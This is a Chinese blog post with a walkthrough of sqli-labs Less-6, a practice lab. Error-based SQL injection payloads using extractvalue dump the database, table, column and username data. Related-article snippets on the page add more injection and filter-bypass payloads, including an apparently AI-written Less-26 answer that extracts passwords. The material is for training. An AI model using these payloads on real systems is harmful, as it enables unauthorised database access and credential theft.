Sqlilabs Less-6

最新推荐文章于 2025-06-14 13:57:20 发布

dofd

最新推荐文章于 2025-06-14 13:57:20 发布

阅读量148

点赞数

分类专栏： Sqlilabs靶场学习记录文章标签： less css 前端

本文链接：https://blog.youkuaiyun.com/Light_inthe_eyes/article/details/123238008

版权

Sqlilabs靶场学习记录专栏收录该内容

27 篇文章

订阅专栏

本文介绍了SQL注入攻击的常见手法，包括双引号字符型注入，通过示例展示了如何进行数据库爆库、爆表、爆列以及爆数据。同时，讨论了这些攻击可能带来的安全风险，提醒开发者注意防范SQL注入，确保应用系统的安全性。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

同样也是报错注入，是双引号字符型注入

爆库：

?id=1" and extractvalue(1,concat(0x23,database(),0x23)) --+

在这里插入图片描述
爆表：

?id=1" and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x23)) --+

在这里插入图片描述爆列：

?id=1" and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_name='users' limit 12,1),0x23)) --+

在这里插入图片描述爆数据：

?id=1" and extractvalue(1,concat(0x23,(select username from users order by id limit 0,1),0x23)) --+

在这里插入图片描述

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

dofd

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

专栏目录

SQLi LABS Less-20 Cookie注入

wangyuxiang946的博客

06-23

1万+

SQLi第二十关，sqllabs less-20，sqli-labs less20

Sqli-labs靶场第9关详解[Sqli-labs-less-9]

m0_73615178的博客

02-24

2297

利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os四、数据库名字-为后期猜解指定数据库下的表，列做准备-database()SQL注入-时间型盲注（Time-based blind）

参与评论您还未登录，请先登录后发表或查看评论

LESS-6-GET-双引号-字符型

qq_41883052的博客

05-23

187

1.寻找注入点初始页面无id参数自行添加?id=1 页面不回显数据，而是错误提醒用'测试，发现页面还是错误提醒将'换成" 发现页面出现报错信息，可能存在SQL注入漏洞分析报错: 在 "1"" LIMIT 0,1处有错误去掉我们添加的"发现可控参数被一对双引号包围继续测试 and "1 页面正常提示错误信息 and "0 页面无回显两次测试页面不一样存在SQL注入漏洞 2.开始注入根据前面的信息我们可以得出以下结论: 页面没有回显数据，而是提示错误信息，属于报错注入只需构造报

【SQL注入】Less-6双注入GET双引号字符型注入

Mitchell_Donovan的博客

03-30

728

Less-6双注入GET双引号字符型注入本实验于上一个实验Less-5双注入GET单引号字符型注入手法上几乎一致！区别在于payload中'单引号改为"双引号!也就是在本实验中，你可以用Less-5实验中的payload；不过本实验将用另外一种方法来完成该实验的sql注入。实验开始布尔型注入简称盲注，正确会回显，错误没有回显，以此为依据逐字进行想要的字段或者命名进行猜解爆破；在上诉实验中我们已知：数据库名security表名users字段nameuser password 手工注入时可使用例如l

sqli-labs Less-6（双注入）

万丈⾼楼平地起，勿在浮沙筑⾼台学艺不精的安全菜鸡，改行回家养猪了，对博客有疑问欢迎留言，看到一定回

02-02

690

1、判断SQL语句是使用什么闭合的使用双引号闭合。 2、判断有几个字段 payload ?id=1" order by 3 --+ 存在3个字段 3、爆出数据库版本和当前数据库名 payload ?id=1" union select 1,2,count(1) from information_schema.tables group by concat(floor(rand(0)*2),version()) --+ ?id=1" union select 1,2,count(1) from info

sqli-lab刷题Less-6 基于盲注的双引号型sql注入

MichealCurry1的博客

10-08

1683

sqli-lab刷题Less-6 基于盲注的双引号型sql注入输入?id=1\，报出错误猜测其原语句为"$id" LIMIT 0,1 输入?id=1" --+ 发现其不报错，说明猜测正确输入?id=1" order by 3 --+,不报错，输入?id=1" order by 4 --+,报错由此可以知道只有三个字段输入?id=1" and 1=2 union select 1,2,3 --+，发现其不回显，说明为盲注盲注具体看这篇文章sqli-lab刷题Less

sqli-labs学习笔记（二）less 5-6 双注入、布尔盲注、延时盲注

闵行小鱼塘

09-03

617

继续学习sqli-labs，本篇是less5-6

网络安全-sqlmap实战之sqlilabs-Less8_sqli-labs-master less-8 select from users where

2401_84254087的博客

05-02

160

当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。添加–dbms参数,–technique参数。使用-o参数优化,–batch参数进行跳过。

sqli-labs ----less-26---37--练习

代码审计

03-07

1063

sqli-labs————Less-26（绕空格、/*、#等）该关卡提示空格和注释被转义，我们测试一下： http://www.sqli.com/Less-26/?id=1’报错 sqli-labs-master/Less-26/?id=1’ --+ 依旧报错，我添加的注释不见了，应该是注释被转义成了空字符，我们换成;%00测试一下： http://www.sqli.com/Less-26/?id=1%20and%20sleep(4);%00 and应该被转义了 phpstorm

Sqli-labs靶场第11关详解[Sqli-labs-less-11]

m0_73615178的博客

02-24

1846

SQL注入的三个条件：①参数可控；（从参数输入就知道参数可控）②参数过滤不彻底导致恶意代码被执行；（需要在测试过程中判断）③参数带入数据库执行。（从网页功能能大致分析出是否与数据库进行交互）利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-

sqli-labs:pass-6(双引号报错注入）

羽的博客

07-13

138

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; char...

SQLi LABS Less-6 报错注入+布尔盲注

最新发布

m0_57532232的博客

06-14

365

文章摘要：本文介绍了CSS中的rem单位（相对于根元素字体大小）和媒体查询（针对不同屏幕尺寸设置样式），指出CSS缺乏编程特性的弊端。重点讲解了LESS预处理语言，包括变量、嵌套规则和运算功能。最后阐述了rem适配方案，通过媒体查询或flexible.js动态调整html字体大小，使页面元素等比缩放以适应不同设备。主要技术方案有LESS+媒体查询+rem和更简单的flexible.js+rem两种实现方式。

sqlilabs less-26

05-06

<think>好的，用户想要解决SQLiLabs Less-26的挑战，我需要先回顾一下这个关卡的特点。Less-26通常涉及绕过过滤机制，比如过滤空格、注释符或者某些关键词。根据提供的引用内容，之前的关卡如Less-36提到使用GBK编码绕过转义，而Less-11、12和48使用了报错注入技术，比如extractvalue和updatexml函数。此外，Less-34涉及UTF编码的知识，可能与字符编码有关。首先，我需要确认Less-26的具体过滤规则。根据经验，Less-26可能过滤了空格、注释符（如--+或#），可能还有某些关键字如union、select等。用户可能需要使用替代字符绕过过滤，比如用%a0代替空格，或者使用括号包裹注入语句。例如，使用报错注入时，需要确保闭合单引号，并绕过空格过滤。接下来，构造注入语句。例如，爆库名时，可能需要用报错函数，结合concat和0x7e符号。同时，替换空格为%a0或使用括号。例如：'or(updatexml(1,concat(0x7e,(select database())),1))%26%26'a'='a。这里需要注意闭合原查询的单引号，并使用逻辑运算符绕过过滤。另外，考虑字符编码的问题，可能需要调整字符集，如GBK，但根据引用[1]，这需要设置正确的字符集。不过Less-26是否涉及字符集绕过还不确定，可能需要结合其他方法。用户可能需要逐步测试过滤的字符，尝试不同的替代方法，比如使用双重编码或特定符号代替空格。同时，确保注入语句的正确闭合，避免语法错误。在获取表名和字段名时，需要利用information_schema，并处理可能的过滤，例如将users表名用十六进制表示，避免单引号被过滤。最后，总结步骤，帮助用户理解每个注入步骤的目的和方法，并提供相关问题以深化理解，如如何绕过其他过滤，替代空格的其他方法，以及报错注入的其他函数。</think>### SQLi-Labs Less-26 解决方案 #### 一、关卡特性分析 Less-26 是 SQLi-Labs 中针对**过滤空格和注释符**的注入挑战。主要过滤以下内容： 1. 空格（包括普通空格、`%20`、`+`） 2. 注释符（`--+`、`#`） 3. 部分关键词（如`union select`可能被拆分会失效）引用示例中的报错注入技术[^2][^3]在此关卡仍适用，但需要绕过过滤规则。 --- #### 二、绕过过滤的核心方法 1. **替代空格的字符**： - `%a0`（URL 编码的不可见字符） - 使用括号`()`包裹语句 - 例如：`select(schema_name)from(information_schema.schemata)` 2. **绕过注释符**： - 通过逻辑运算符闭合语句，如 `'||'1'='1` 或 `'&&'1'='1` 3. **关键词拆分绕过**： - 使用双写、大小写混合或插入特殊符号（如`uni%a0on sele%a0ct`） --- #### 三、分步骤注入流程 ##### 1. 判断注入点输入测试载荷： ```sql '||'1'='1 ``` 若返回正常页面，说明存在字符型注入。 ##### 2. 爆数据库名使用报错注入函数`updatexml`，替代空格为`%a0`： ```sql 'or(updatexml(1,concat(0x7e,(select%a0database())),1))%26%26'a'='a ``` - `%26%26` 是 `&&` 的 URL 编码 - 输出示例：`XPATH syntax error: '~security'` → 数据库名为 `security`[^3] ##### 3. 爆表名 ```sql 'or(updatexml(1,concat(0x7e,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=database())),1))%26%26'a'='a ``` 输出示例：`~emails,referers,uagents,users` ##### 4. 爆字段名（以 `users` 表为例） ```sql 'or(updatexml(1,concat(0x7e,(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name='users')),1))%26%26'a'='a ``` 输出示例：`~id,username,password` ##### 5. 提取数据 ```sql 'or(updatexml(1,concat(0x7e,(select%a0group_concat(username,0x3a,password)%a0from%a0users)),1))%26%26'a'='a ``` 输出示例：`~Dumb:Dumb,Angelina:...` --- #### 四、防御措施（参考引用[^1]）若开发中需防范此类攻击： 1. 使用 `mysql_real_escape_string()` 前设置字符集为 `gbk`： ```php mysql_set_charset('gbk', $conn); ``` 2. 使用预编译语句（PDO/MySQLi） ---